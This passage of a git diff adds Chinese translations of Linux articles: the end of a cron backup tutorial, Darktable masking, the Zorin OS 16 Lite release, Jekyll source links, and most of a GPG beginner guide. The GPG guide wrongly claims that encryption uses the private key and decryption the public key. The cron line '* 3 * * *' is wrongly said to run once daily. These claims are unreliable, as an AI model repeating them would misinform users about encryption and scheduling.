`0-23`。没有 `24` 的原因是 `23` 时的末尾是半夜 `11:59`,然后就是每天的开始 `0` 时。分钟的取值范围定义逻辑与之类似。 +* 天:指一个月中的哪一天执行该任务,取值范围是 `1-31`(不同于前面的分钟和小时从 `0` 开始取值)。 +* 月:指该任务在哪个月被执行,取值范围是 `1-12`。 +* 周:指该任务在星期几被执行,从周日开始算起,取值范围是 `0-6`(分别对应周日、周一到周六)。 +* 命令:是你想要运行的命令任务。 + +![][4] + +如果想对 “分钟 小时 天 月 周” 部分有更详细的理解,可以参考 [Crontab guru 网站][5],该网站可以帮助你理解正在执行什么。 + +接着之前的例子 `* * * * * touch ~/crontab_test`,表示每分钟创建一次 `~/crontab_test` 文件。 + +让我们将该任务编辑进 `crontab` 然后看看执行结果: + +![][6] + +等到下一分钟,你就会发现你的家目录下多了文件 `crontab_test`: + +![][7] + +这便是 `cron` 的基础应用示例。 + +### 一个实用的定时任务示例 + +假设你想创建一个脚本,用于拷贝多个目录内容到一个路径并打包作为备份,该如何实现? + +通过 `cron` 定时任务就可以很容易实现该功能。 + +请看如下脚本: + +``` +#!/usr/bin/bash +echo "Backing up..." +mkdir -p ~/.local/tmp/ +tar -Pc ~/Documents/ -f ~/.local/tmp/backup.gz +``` + +该脚本做了如下事情: + +1. 确保备份路径目录 `~/.local/tmp/` 存在。 +2. 将目录 `~/Documents/` 下的所有内容打包至文件 `~/.local/tmp/backup.gz`。 + +我们先来手动运行该脚本,看看它到底如何工作。 + +首先,我们在家目录(`~`)下创建该脚本,命令为 `backup_script`,如下图所示: + +![][8] + +然后编辑 `backup_script` 脚本,写入上面那个脚本代码。 + +接着,赋予 `backup_script` 可执行权限: + +![][9] + +最后运行脚本 `~/backup_script`,进行功能验证: + +![][10] + +你可以通过运行命令 `tar -xf ~/.local/tmp/backup.gz -C ` 来进行备份恢复,这里 `` 是指文件要恢复到的路径目录。 + +接下来,就可以用 `cron` 工具来进行定时任务运行该脚本了。 + +举个例子,假设需要每天的凌晨 3 点运行该备份脚本,你可以在 `crontab` 中输入如下命令: + +``` +* 3 * * * ~/backup_script +``` + +这样你就可以每天自动进行备份操作了。 + +### 后记 + +本文简单介绍了定时任务功能。尽管我不确定 Linux 桌面用户使用该功能多不多,但我知道定时任务功能被许多系统管理员广泛应用。如果你有什么想法,欢迎在评论区留言。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/cron-job/ + +作者:[Hunter Wittenborn][a] +选题:[lujun9972][b] +译者:[jrglinux](https://github.com/jrglinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/hunter/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/linux-daemons/ +[2]: https://linuxhandbook.com/crontab/ +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/crontab-file.webp?resize=800%2C673&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/crontab-explanation.webp?resize=800%2C450&ssl=1 +[5]: https://crontab.guru/ +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/cron-example-1.webp?resize=557%2C241&ssl=1 +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/result-of-cron-job.webp?resize=557%2C241&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/complex-cron-example.webp?resize=548%2C295&ssl=1 +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/complex-cron-example-1.webp?resize=548%2C385&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/complex-cron-result.png?resize=800%2C220&ssl=1 diff --git a/published/202112/20211208 Open source photo processing with Darktable.md b/published/202112/20211208 Open source photo processing with Darktable.md new file mode 100644 index 0000000000..3a07b05de9 --- /dev/null +++ b/published/202112/20211208 Open source photo processing with Darktable.md @@ -0,0 +1,122 @@ +[#]: subject: "Open source photo processing with Darktable" +[#]: via: "https://opensource.com/article/21/12/open-source-photo-processing-darktable" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14088-1.html" + +用开源的 Darktable 进行照片处理 +====== + +> 如果你拍摄的照片值得处理,那么你可以看看 Darktable 为你提供了什么。 + +![](https://img.linux.net.cn/data/attachment/album/202112/17/110051ezze4uatt2d2f94e.jpg) + +很难说好照片是如何产生的。你必须在正确的时间出现在正确的地点。你必须准备好相机和构图的观察力。而这只是发生在相机里的部分。好的摄影还有另一个阶段,许多人都没有想到这一点。它曾经需要在 _暗房_ 中的灯光和化学品,但在今天的数字工具中,后期制作发生在暗房软件中。最好的照片处理器之一是 [Darktable][2],我在 2016 年写了一篇 [介绍 Darktable][3] 的文章。那篇文章已经过去五年了,所以我想我应该重新审视一下这个应用,写一写它的一个高级功能:蒙版。 + +自从我最初写下这篇文章以来,Darktable 并没有什么变化,在我看来,这是一个真正好的应用的标志之一。一个稳定的界面和持续的优秀性能是人们对软件的所有要求,而 Darktable 依旧熟悉而强大。如果你是 Darktable 的新手,请阅读我的 [介绍性文章][3],了解基础知识。 + +### 什么是蒙版? + +在照片处理中,蒙版被用来限制你对图像的调整,使其只限于图像的一个区域。 + +直观地说,蒙版mask 是视觉艺术中的一种技术,用一种材料来遮挡另一种材料。如果你曾经在你的公寓或房子里画过一面墙,你可能使用过 _遮蔽胶带_(也叫油漆工胶带)来保护相邻的墙壁或造型不受杂乱笔触的影响。完成后,你剥去遮蔽胶带,你就有了漂亮的油漆直线。 + +模板stencil也是遮蔽的一种形式。 + +![A mask made of masking tape][4] + +(Seth Kenlon, [CC BY-SA 4.0][5]) + +这是一种在摄影中使用了一个世纪的技术,因此,数字摄影工具有一个类似的技术也是合理的。 + +### 在 Darktable 中使用蒙版 + +在这个例子中,我使用了 Flickr 用户 **bcnewdemocrats** 的创作共用照片。这是一张很好的照片,因为它有迷人的主题(两个孩子在他们非常耐心的父亲脸上涂抹 Holi 粉)。因为它是关于印度的五彩节,所以它在整个过程中都有色彩飞溅。 + +![Original photograph][6] + +(bcnewdemocrats, [CC BY-SA 4.0][5]) + +这是一张不需要改进的照片,但并不是所有的调整都需要剧烈变化才能产生显著效果。 + +色彩校正滤镜提供了一个特别明显的调整。在彩色摄影中,尤其是人物摄影中,一个常见的修正是添加 _琥珀色_(一种偏红的橙色)。人类肤色受益于琥珀色,因为我们把这种颜色与温暖和生命联系起来。 + +点击 “开启On” 按钮,激活 Darktable 窗口右侧的色彩校正调整面板。将中心点向上和向右拖动,给照片增加琥珀色。 + +![Color correction panel][7] + +(Seth Kenlon, [CC BY-SA 4.0][5]) + +这样做之后,整张照片就会浸透在琥珀色里。 + +![Darktable global color correction][8] + +(Seth Kenlon, [CC BY-SA 4.0][5]) + +在色彩校正面板的底部,点击 “drawn & parametric mask绘制和参数化蒙版” 按钮。 + +![Apply mask button][9] + +(Seth Kenlon, [CC BY-SA 4.0][5]) + +在显示出来的工具栏中,你有几种蒙版形状可以选择。有圆、椭圆、路径、画笔、梯度,还有一个编辑现有蒙版的选项。为了简单起见,选择圆形,然后点击你的对象的脸。 + +![Circle mask][10] + +(Seth Kenlon, [CC BY-SA 4.0][5]) + +你的色彩校正滤镜立即被限制在你的圆形蒙版的区域内,给你的主要对象一个令人愉快的琥珀色调,同时避开背景。 + +![Color correction within a circle mask][11] + +(Seth Kenlon, [CC BY-SA 4.0][5]) + +你可以通过切换色彩校正滤镜的关闭和开启来看到区别。 + +### 复用蒙版 + +如果你想只对被摄者的脸部应用另一个滤镜,你不必为那个新的滤镜再创建一个蒙版。当你创建一个蒙版时,它会被添加到位于 Darktable 界面左边的 “蒙版管理器mask manager” 面板上。默认的名字是非常通用的,但你可以双击每个蒙版的名字来重命名它。 + +![Mask manager][12] + +(Seth Kenlon, [CC BY-SA 4.0][5]) + +当你应用一个新的滤镜时,不是选择一个新的蒙版形状来创建,而是点击 “不使用蒙版no mask used” 下拉菜单来查看现有的蒙版列表,以及之前在同一个滤镜上一起使用过的自动分组的蒙版。选择你想用于新滤镜的蒙版或蒙版组。 + +![Selecting an existing mask][13] + +(Seth Kenlon, [CC BY-SA 4.0][5]) + +### 更多蒙版 + +在 Darktable 中还有很多其他类型的蒙版和蒙版功能可以探索。你可以用路径和画笔工具创建复杂的形状。你也可以完全放弃使用形状,并根据色度和亮度值将过滤器限制在图像的某个区域。你可以调整蒙版的模糊度和扩散度等。在 Darktable 中进行的所有调整中,最好的一点是它们都是动态的、非破坏性的。如果你改变主意,你可以随时关闭它们,而且你实际上从未影响过图像数据本身。这并不奇怪,因为 Darktable 确实是一个强大的摄影工具,如果你拍摄的照片值得处理,你就应该看看 Darktable 为你提供了什么。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/open-source-photo-processing-darktable + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/design_photo_art_polaroids.png?itok=SqPLgWxJ (Polaroids and palm trees) +[2]: https://www.darktable.org/ +[3]: https://opensource.com/life/16/4/how-use-darktable-digital-darkroom +[4]: https://opensource.com/sites/default/files/uploads/masking.jpg (A mask made of masking tape) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ +[6]: https://opensource.com/sites/default/files/uploads/darktable-darkroom.jpg (Original photograph) +[7]: https://opensource.com/sites/default/files/uploads/darktable-panel-color-correction.jpg (Color correction panel) +[8]: https://opensource.com/sites/default/files/uploads/darktable-color-correction-global.jpg (Darktable global color correction) +[9]: https://opensource.com/sites/default/files/uploads/darktable-button-mask.jpg (Apply mask button) +[10]: https://opensource.com/sites/default/files/uploads/darktable-button-circle.jpg (Circle mask) +[11]: https://opensource.com/sites/default/files/uploads/darktable-color-mask.jpg (Color correction within a circle mask) +[12]: https://opensource.com/sites/default/files/uploads/darktable-mask-manager.jpg (Mask manager) +[13]: https://opensource.com/sites/default/files/uploads/darktable-mask-select.jpg (Selecting an existing mask) diff --git a/published/202112/20211209 Zorin OS 16 Lite Edition is Finally Here With Latest Xfce 4.16.md b/published/202112/20211209 Zorin OS 16 Lite Edition is Finally Here With Latest Xfce 4.16.md new file mode 100644 index 0000000000..948ce2f97f --- /dev/null +++ b/published/202112/20211209 Zorin OS 16 Lite Edition is Finally Here With Latest Xfce 4.16.md @@ -0,0 +1,126 @@ +[#]: subject: "Zorin OS 16 Lite Edition is Finally Here With Latest Xfce 4.16" +[#]: via: "https://news.itsfoss.com/zorin-os-16-lite-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14068-1.html" + +Zorin OS 16 Lite 版终于来了 +====== + +> Zorin OS 16 Lite 带来了 Zorin OS 16 的所有优点和 Xfce 桌面环境。让我们来了解一下。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/zorin-os-16-lite-ft.jpg?w=1200&ssl=1) + +[Zorin OS 16][1] 是一个令人印象深刻的版本。但是,如果你正在寻找一个轻量级的发行版或适合旧电脑的东西,这不是一个好的选择。 + +Zorin OS 为每个版本都提供了一个由 Xfce 桌面环境驱动的 Lite 版本,以供资源有限的计算机使用。然而,直到刚刚之前,Zorin OS 16 还没有这个 Lite 版。 + +是的,终于,Zorin OS 16 Lite 现在可以和 Pro 版一起下载了。 + +请注意,如果你已经购买了 Zorin OS 16 Pro,那么 Lite 版也包括在内。 + +(LCTT 译注:Zorin OS 的 Pro 版是收费的,其 Core 版和 Lite 版是免费的。) + +### Zorin OS 16 Lite: 有什么新内容? + +![][2] + +在这个版本中,Zorin OS 16 Lite 旨在通过保持最小的资源使用量,带来所有 [Zorin OS 16 中引入的改进][3]。 + +我为了制作的视频点评而简要地测试了该发行版,对它留下了相当深刻的印象。 + +有趣的是,Zorin OS 16 Lite 设法提供了类似于 Xfce 的用户体验和精美的桌面环境。通常情况下,我不喜欢 Xfce 桌面环境(只是一种审美选择),但 Zorin OS 16 Lite 不同。 + +我做了一个 Zorin OS 16 Lite 专业版的视频,你可以看到它的运行情况。 + +![video](https://youtu.be/Cl5qXPY9OLk) + +#### 视觉大修 + +![][5] + +带有 Xfce 4.16 的 Zorin OS 16 Lite 提供了令人耳目一新的用户体验,其精美的主题与 Zorin OS 16(GNOME 版)非常相近。 + +你可以调整主题,切换暗色模式,并从外观菜单中选择一种重点颜色。外观选项也得到了刷新,可以让你在 Zorin OS 16 Lite 上轻松定制体验。 + +不幸的是,你在这里找不到像 Zorin OS 16 一样的果冻模式。因此,如果你需要眼花缭乱的动画,Lite 版可能不是你的合适选择。 + +除了新的视觉变化和功能之外,你还会发现新的可以填补你的桌面的背景。有些壁纸可能只限于 Pro 版。 + +![][6] + +#### Pro 版的桌面布局 + +虽然在 Core 版和 Lite 版中有一些桌面布局的选择,但 Pro 版又为你提供了两个额外的桌面布局。 + +![][12] + +其中一个布局类似于经典的 Windows 设计,另一个布局看起来接近于 ChromeOS。 + +![][13] + +你还可以在类似 macOS、GNOME 2 和类似 Windows 列表的布局之间进行选择。 + +请注意,作为 [Windows 用户的最佳发行版之一][7],其默认的布局类似 Windows,这应该是一个很好的体验。 + +#### 带有窗口预览的任务栏 + +![][14] + +桌面功能有一个重要的改进,也就是说,现在当你从任务栏悬停在一个活动窗口上时,你可以很容易地查看该窗口的预览。 + +在用预先发布的 ISO 进行测试时,这个体验并不流畅。但是,考虑到他们已经消除了一些错误,这是 Zorin OS 16 Lite 中的一个很好的功能。 + +#### 默认启用的 Flathub + +应用中心(软件中心)也提供了 Flathub 集成,开箱即用。你应该可以从软件中心很快地找到 Flatpak 应用程序,如果你不喜欢 Flatpak 软件包,可以改变软件包源。 + +#### 其他改进 + +![][15] + +除了关键的变化外,你还会发现一些改进,如禁用遥测的 Firefox 浏览器、新的声音记录器应用、高分辨率显示器的小数点级缩放以及 Rythmbox 应用。 + +Thunar 文件管理器有一些常规的微小改进,并与其他设计融为一体。你应该能够使用 parole 视频播放器来播放视频了。 + +[Linux 内核 5.11][10] 也改进了一些技术兼容性。 + +总的来说,Zorin OS 团队在将 Zorin OS 16 的漂亮设计和易用性延续到其 Lite 版方面做得很好。大部分时间,你甚至可能没有意识到你在使用 Xfce 桌面环境。 + +### 下载 Zorin OS 16 Lite + +你可以前往其下载页面获取 Zorin OS 16 Lite 的 ISO。如果你已经购买了 Zorin OS 16 Pro 版,你可以使用电子邮件中的链接来下载 Lite 版。 + +- [Zorin OS 16 Lite][11] + +你对 Zorin OS 16 Lite 有什么看法?欢迎在评论中告诉我们你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/zorin-os-16-lite-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/zorin-os-16-release/ +[2]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/zorin-os-desktop-16-lite.jpg?w=1200&ssl=1 +[3]: https://news.itsfoss.com/zorin-os-16-features/ +[4]: https://i2.wp.com/i.ytimg.com/vi/Cl5qXPY9OLk/hqdefault.jpg?w=780&ssl=1 +[5]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/desktop-look.png?w=1024&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/wallpapers.png?w=960&ssl=1 +[7]: https://itsfoss.com/windows-like-linux-distributions/ +[10]: https://news.itsfoss.com/linux-kernel-5-11-release/ +[11]: https://zorin.com/os/download/ +[12]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/chrome-os-like-desktop.jpg?w=1024&ssl=1 +[13]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/windows-classic-like.jpg?w=1024&ssl=1 +[14]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/window-previews.png?w=660&ssl=1 +[15]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/zorin-os-16-lite-neofetch.png?w=655&ssl=1 \ No newline at end of file diff --git a/published/202112/20211210 Reveal your source code with Jinja2 and Git.md b/published/202112/20211210 Reveal your source code with Jinja2 and Git.md new file mode 100644 index 0000000000..febd04603e --- /dev/null +++ b/published/202112/20211210 Reveal your source code with Jinja2 and Git.md @@ -0,0 +1,73 @@ +[#]: subject: "Reveal your source code with Jinja2 and Git" +[#]: via: "https://opensource.com/article/21/12/reveal-source-code-jinja2-git" +[#]: author: "Ayush Sharma https://opensource.com/users/ayushsharma" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14091-1.html" + +用 Jekyll 和 Git 展示你的源码 +====== + +> 我是如何通过链接每个页面回到其原始源代码来保持我的网站开放的。 + +![](https://img.linux.net.cn/data/attachment/album/202112/18/093318uoud175bj4d55zz5.jpg) + +我是一个开源的超级粉丝。 + +我支持这项事业的一个小方法是从一开始就保持我的个人博客网站开放。我这样做的部分原因是让人们看到每个页面背后的变化历史。还因为当我开始使用 [Jekyll][2] 时,我没有找到很多开源的 Jekyll 博客可以学习。我希望保持我的网站开放并公开我的尝试和错误,可以为其他人节省很多时间。 + +### Jekyll 的 page.path 变量 + +我实现这一目标的方法之一是将我发布的每一个条目链接到其原始的 [Markdown][3]。[Jekyll 的变量][4] 中正好有一个需要的工具:`page.path`。这个变量包含每个页面的原始文件系统路径。官方的描述甚至强调了它的作用是链接回源! + +在一篇文章的 Markdown 文件中打印 `{{page.path }}`,可以得到类似这样的结果: + +``` +_posts/2021-10-10-example.md +``` + +假设该文章的源代码存在于这个路径: + +``` +https://example.com/ayushsharma-in/-/blob/master/_posts/2021-10-10-example.md +``` + +如果你在任何文章的 `page.path` 前加上 `https://example.com/ayushsharma-in/-/blob/master/`,它就会生成一个返回其源码的链接。 + +在 Jekyll 中,生成这个完整的链接看起来像这样: + +``` +View source +``` + +就是这么简单。 + +### Jekyll 和开放 Web + +现代 Web 是一种错综复杂的多层次技术,但这并不意味着它必须让人摸不清。有了 Jekyll 的变量,你可以确保你的用户可以,了解更多关于你是如何建立你的网站的,如果他们愿意的话。 + +你可以在我的[个人博客][5]上看到真实的例子:滚动到底部的查看源码链接。 + +本文改编自 [ayush sharma 的笔记][6],并经许可转载。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/reveal-source-code-jinja2-git + +作者:[Ayush Sharma][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ayushsharma +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_blue_text_editor_web.png?itok=lcf-m6N7 (Text editor on a browser, in blue) +[2]: https://opensource.com/article/21/9/build-website-jekyll +[3]: https://opensource.com/article/19/9/introduction-markdown +[4]: https://jekyllrb.com/docs/variables/#page-variables +[5]: https://www.ayushsharma.in +[6]: https://www.ayushsharma.in/2021/11/linking-jekyll-pages-back-to-their-git-source-code diff --git a/published/202112/20211211 Using GPG to Encrypt and Decrypt Files on Linux -Hands-on for Beginners.md b/published/202112/20211211 Using GPG to Encrypt and Decrypt Files on Linux -Hands-on for Beginners.md new file mode 100644 index 0000000000..544c4f6b56 --- /dev/null +++ b/published/202112/20211211 Using GPG to Encrypt and Decrypt Files on Linux -Hands-on for Beginners.md @@ -0,0 +1,250 @@ +[#]: subject: "Using GPG to Encrypt and Decrypt Files on Linux [Hands-on for Beginners]" +[#]: via: "https://itsfoss.com/gpg-encrypt-files-basic/" +[#]: author: "Hunter Wittenborn https://itsfoss.com/author/hunter/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14082-1.html" + +手把手指导:在 Linux 上使用 GPG 加解密文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/15/133531wcs1iy4luihr3beg.jpg) + +[GnuPG][1],俗称 GPG,是一个非常通用的工具,被广泛用作电子邮件、信息、文件或任何你需要安全地发送给别人的东西的加密行业标准。 + +学习使用 GPG 很容易,你可以在几分钟内就学会使用它。 + +在本教程中,我将告诉你如何用 GPG 加密和解密文件。这是一个简单的教程,你可以在你的 Linux 系统上尝试所有的练习。这将帮助你练习 GPG 命令,并在你完全陌生的情况下理解它。 + +请先阅读整个教程,然后开始自己做。 + +### GPG 是如何进行加密的? + +![GPG 加密][2] + +要使用 GPG,你首先需要有一个 GPG 密钥。 + +GPG 密钥是你在后面的教程中用来加密(或解密)文件的东西。它也是用来识别你的身份的,你的名字和电子邮件也会与密钥绑定。 + +GPG 密钥的工作原理是使用两个文件,一个私钥和一个公钥。这两个密钥是相互联系的,并且 GPG 的所有功能都需要使用它们,特别是对文件加密和解密。 + +当你用 GPG 加密一个文件时,它使用的是私钥。然后,这个新的加密文件**只能**用配对的公钥进行解密。 + +私钥,顾名思义,是以私下的、不给任何人看的方式来存储的密钥。 + +另一方面,公钥是用来给其他人的,或者你希望能够解密你的文件的任何人。 + +这就是 GPG 的加密方法的主要作用。它允许你对文件进行本地加密,然后允许其他人确保他们收到的文件实际上是由你发送的。因为他们能够解密文件的唯一方法是使用你的公钥,而这只有在文件首先使用你的私钥加密的情况下才有效。 + +**反之**,其他人可以用你的公钥对文件进行加密,而唯一能够解密的方法是用你的私钥。因此,允许其他人公开发布文件,而不用担心除了你以外的人能够阅读它们。(LCTT 译注:另外一个常见的用例是你用你的私钥对公开发布的文件进行签名,别人使用你的公钥通过验证你的签名而确信文件是你发布的、并没有被篡改。但本文没有涉及这个用例。) + +换句话说,如果一个文件是用私钥加密的,它只能用相应的公钥解密。而如果一个文件是用公钥加密的,它只能用相应的私钥解密。 + +#### 你已经在使用 GPG 而没有意识到 + +一个最常见的使用 GPG 的例子是在 Linux 软件包管理器中,特别是 [外部仓库][3]。你把开发者的公钥添加到你系统的可信密钥中。开发者用他/她的私钥签署软件包(生成签名)。由于你的 Linux 系统拥有该公钥文件,它就能理解该软件包实际上是来自受信任的开发者。 + +许多加密服务在你没有意识到的情况下使用了某种 GPG 的实现。但现在最好不要去研究这些细节。 + +现在你对这个概念有点熟悉了,让我们看看如何使用 GPG 来加密一个文件,然后用它来解密。 + +### 用 GPG 对文件进行加密和解密 + +![][4] + +这是一个非常简单的场景。我假定你只有一个系统,你想看看 GPG 是如何工作的。你并没有把文件发送到其他系统。你对文件进行加密,然后在同一个系统上解密。 + +当然,这不是一个实际的用例,但这也不是本教程的目的。我的目的是让你熟悉 GPG 命令和功能。之后,你可以在现实世界中使用这些知识(如果需要的话)。为此,我将告诉你如何与他人分享你的公钥。 + +#### 第一步:安装 GPG + +GPG 可以在大多数发行版的软件库中找到,开箱即用。 + +在基于 Debian 和 Ubuntu 的系统中,安装 `gpg` 包: + +``` +sudo apt install gpg +``` + +如果你使用 [基于 Arch 的发行版][5],用 [pacman 命令][6] 安装 `gnupg` 软件包: + +``` +sudo pacman -S gnupg +``` + +#### 第二步:生成一个 GPG 密钥 + +在你的系统上生成一个 GPG 密钥只需要一条简单的命令。 + +只要运行下面的命令,就会生成你的密钥(你可以对大多数问题使用默认值,如下面的下划线部分所示)。 + +``` +gpg --full-generate-key +``` + +![生成 GPG 密钥][7] + +**检查 GPG 密钥** + +然后你可以通过使用 `--list-secret-keys` 和 `--list-public-keys` 参数,分别看到私钥和公钥都是通过 `pub` 下显示的那个 ID 相互绑定的。 + +![列出 GPG 密钥][8] + +#### 第三步:用 GPG 加密一个文件 + +现在你已经设置了 GPG 密钥,你可以开始对我们的文件进行加密了。 + +使用下面的命令来加密文件: + +``` +gpg --encrypt --output file.gpg --recipient user@example.com file +``` + +让我们快速浏览一下该命令的内容: + +首先,你指定了 `—encrypt` 选项。这告诉 GPG,我们将对一个文件进行加密。 + +接下来,你指定了 `--output file.gpg`。这可以是任何名字,不过惯例是给你要加密的文件的名称加上 `.gpg` 扩展名(所以 `message.txt` 会变成 `message.txt.gpg`)。 + +接下来,你输入 `—recipient user@example.com`。这指定了一个相应的 GPG 密钥的电子邮件,这个密钥实际上在这个系统上还不存在。 + +有点迷惑? + +工作原理是,你在这里指定的电子邮件必须与你本地系统中的公钥相联系。 + +通常情况下,这将是来自另外一个人的 GPG 公钥,你要用它来加密你的文件。之后,该文件将只能用该用户的私钥进行解密。 + +在这个例子中,我将使用我以前的与 `user@example.com` 关联的 GPG 密钥。因此,其逻辑是,我用 `user@example.com` 的 _公钥_ 对文件进行加密,然后只能用 `user@example.com` 的 _私钥_ 进行解密。 + +如果你是为别人加密文件,你只有该公钥,但由于你是为自己加密文件,你的系统上有这两个密钥。 + +最后,你只需指定你要加密的文件。在这个例子中,让我们使用一个名为 `message.txt` 的文件,内容如下: + +``` +We're encrypting with GPG! +``` + +![文本文件样本][10] + +同样地,如果电子邮件是 `user@example.com`,新的 GPG 命令将如下所示: + +``` +gpg --encrypt --output message.txt.gpg --recipient user@example.com message.txt +``` + +![用 GPG 加密文件][11] + +如果你尝试阅读该文件,你会看到它看起来像乱码。这是预料之中的,因为该文件现在已经被加密了。 + +![读取加密文件会产生乱码][12] + +现在让我们删除未加密的 `message.txt` 文件,这样你就可以看到 `message.txt.gpg` 文件实际上在没有原始文件的情况下也能正常解密。 + +![][13] + +#### 第四步:用 GPG 解密加密的文件 + +最后,让我们来实际解密加密的信息。你可以用下面的命令来做。 + +``` +gpg --decrypt --output file file.gpg +``` + +通过这里的参数,我们首先指定 `—decrypt`,它告诉 GPG 你将会解密一个文件。 + +接下来,你输入 `—output` 文件,这只是告诉 GPG,在你解密后,你将把我们文件的解密形式保存到哪个文件。 + +最后,你输入 `file.gpg`,这是你的加密文件的路径。 + +按照这个例子,我使用的命令是这样的。 + +``` +gpg --decrypt --output message.txt message.txt.gpg +``` + +![用GPG解密文件][14] + +然后就完成了!当你想用 GPG 加密和解密文件时,这就是全部内容了。 + +剩下你可能想知道的是如何与他人分享你的公钥,以便他们在将文件发送给你之前对其进行加密。 + +### 发送和接收 GPG 密钥 + +要给别人发送一个 GPG 密钥,你首先需要从你的**钥匙链**中导出它,它包含了你所有的公钥和私钥。 + +要导出一个密钥,只需在你的钥匙链中找到密钥的 ID,然后运行以下命令,用密钥的 ID 替换 `id`,用你想保存的文件名替换 `key.gpg`。 + +``` +gpg --output key.gpg --export id +``` + +![导出 GPG 公钥][15] + +要导入一个密钥,只需把输出文件(来自前面的命令)给其他用户,然后让他们运行下面的命令。 + +``` +gpg --import key.gpg +``` + +![][16] + +但要正常使用该密钥,你需要验证该密钥,以便 GPG 正确地信任它。 + +这可以通过在其他用户的系统上使用 `--edit-key` 参数来完成,然后对密钥进行签名。 + +首先运行 `gpg --edit-key id`: + +![GPG 编辑密钥][17] + +接下来,使用 `—fpr` 参数,它将显示密钥的指纹。这个命令的输出应该与你自己机器上的输出进行验证,这可以通过在你的系统上运行同样的 `--edit-key` 参数来找到。 + +![GPG 密钥的指纹][18] + +如果一切吻合,只需使用 `—sign` 参数,一切就可以开始了。 + +![签署 GPG 密钥][19] + +就是这样!其他用户现在可以开始用你的公钥加密文件了,就像你之前做的那样,这可以确保它们只有在你用你的私钥解密时才能被你读取。 + +这就是使用 GPG 的所有基础知识! + +### 总结 + +现在你已经了解了开始使用 GPG 所需要的一切,包括为自己和他人加密文件。正如我前面提到的,这只是为了了解 GPG 的加密和解密过程是如何工作的。你刚刚获得的基本 GPG 知识在应用于真实世界的场景中时可以更上一层楼。 + +还需要一些帮助来弄清楚一些东西,或者有一些不工作的东西?欢迎在下面的评论中留下任何内容。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/gpg-encrypt-files-basic/ + +作者:[Hunter Wittenborn][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/hunter/ +[b]: https://github.com/lujun9972 +[1]: https://gnupg.org/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/GPG-encryption-explained.png?resize=800%2C300&ssl=1 +[3]: https://itsfoss.com/adding-external-repositories-ubuntu/ +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/GPG-encryption-basic.png?resize=800%2C450&ssl=1 +[5]: https://itsfoss.com/arch-based-linux-distros/ +[6]: https://itsfoss.com/pacman-command/ +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-key-generation.png?resize=676%2C663&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-list-keys-1.png?resize=703%2C379&ssl=1 +[9]: https://itsfoss.com/cdn-cgi/l/email-protection +[10]: 